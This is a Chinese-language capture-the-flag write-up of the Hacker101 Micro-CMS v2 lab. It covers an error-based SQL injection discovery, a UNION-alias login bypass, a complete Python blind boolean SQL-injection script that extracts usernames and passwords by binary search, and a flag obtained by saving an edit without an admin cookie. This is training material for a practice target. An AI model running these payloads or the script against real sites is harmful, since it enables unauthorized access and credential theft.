Hacker101-Micro-v2-cms

记录hacker101 ctf靶场学习

Micro v2 cms篇

进入容器

image.png

image.png

扫出login的登录页面

image.png

直接到达登录页面

'看看有没有sql注入

image.png

报错后把报错页面返回过来了,可以看到py的sql里的语句

image.png

admin表,估计就是管理员的账户表了

尝试看看能不能直接用万能密码进去

image.png

回显无效的密码,应该后面还有语句去判断password字段,所以没通过

这里可以使用union联合查询重命名来绕过

image.png

原理是查询字段1后,再重命名为password使其密码为1

此处为个人推测,如有不准可以再评论区补充互相学习

image.png

登录成功

image.png

Private Page页面找到第一个flag

image.png

在页面提示中说

恭喜你能登录了,你有真的用户名和密码?如果你没有你就可以这样做!

推测估计还有真实的用户名密码,直接上脚本去跑,附上脚本,脚本用的二分法来爆破的

import requests


def num() -> (int, int):    # 最大数以及最小数的区间
    return 33, 126


def find(least: int, maximun: int) -> int:  # 最大数与最小数的中间值
    return (least + maximun) // 2


def main():
    request = requests.session()    # 开启一个请求会话1
    url = "https://50abdbe31d4050c164297ff620a122ab.ctf.hacker101.com/login"    # 靶场url
    password = ""
    username = ""
    passwd_len = 0
    user_len = 0
    for i in range(16):     # 获取用户名字符长度
        payload = f"' or length(username)={str(i)}#"    # sql注入的sql语句, 比较用户名长度, 长度正确会回显特定字符
        data = {"username": payload, "password": ""}
        response = request.post(url, data=data)
        if "Invalid password" in response.text:     # 正确的长度会在页面回显的字符
            user_len += i
            break
    print(f"用户名长度是: {user_len}")

    for i in range(16):     # 获取密码字符长度
        payload = f"' or length(password)={str(i)}#"    # 同上
        data = {"username": payload, "password": ""}
        response = request.post(url, data=data)
        if "Invalid password" in response.text:     # 同上
            passwd_len += i
            break
    print(f"密码长度是: {passwd_len}")

    for i in range(1, user_len+1):      # 根据获取到的长度来做的循环次数
        least, maximun = num()      # 获取最小值和最大值
        while abs(maximun - least) > 1:     # 最大值和最小值的绝对值做循环条件
            mid = find(least, maximun)      # 最大值和最小值的中间值
            payload = f"' or ord(substr(username,{i}, 1)) >{mid}#"      # 截取用户名字符,一次截取一个,从第一个字符开始截取, 再转换成ascii码进行比较
            data = {"username": payload, "password": ""}
            response = request.post(url, data=data)
            if "Invalid password" in response.text:     # 比较成功会出现的字符串
                least = mid
            else:
                maximun = mid
        username += chr(maximun)
        print(username, end="\r")

    print(f"用户名是: {username}")

    for i in range(1, passwd_len+1):       # 同上
        least, maximun = num()
        while abs(maximun - least) > 1:
            mid = find(least, maximun)
            payload = f"' or ord(substr(password,{i}, 1)) >{mid}#"
            data = {"username": payload, "password": ""}
            response = request.post(url, data=data)
            if "Invalid password" in response.text:
                least = mid
            else:
                maximun = mid
        password += chr(maximun)
        print(password, end="\r")

    print(f"密码是: {password}")


if __name__ == '__main__':
    main()



跑出账号密码

image.png

拿去登录,得到flag

image.png

还剩一个flag,这个flag卡了我很久我,后面实在没搞懂在哪就去看了别人的题解

这个flag是需要在没有管理员cookie去编辑文档才可以拿到

image.png

删除cookie后再点save就可以得到flag了

image.png

ok,过关

image.png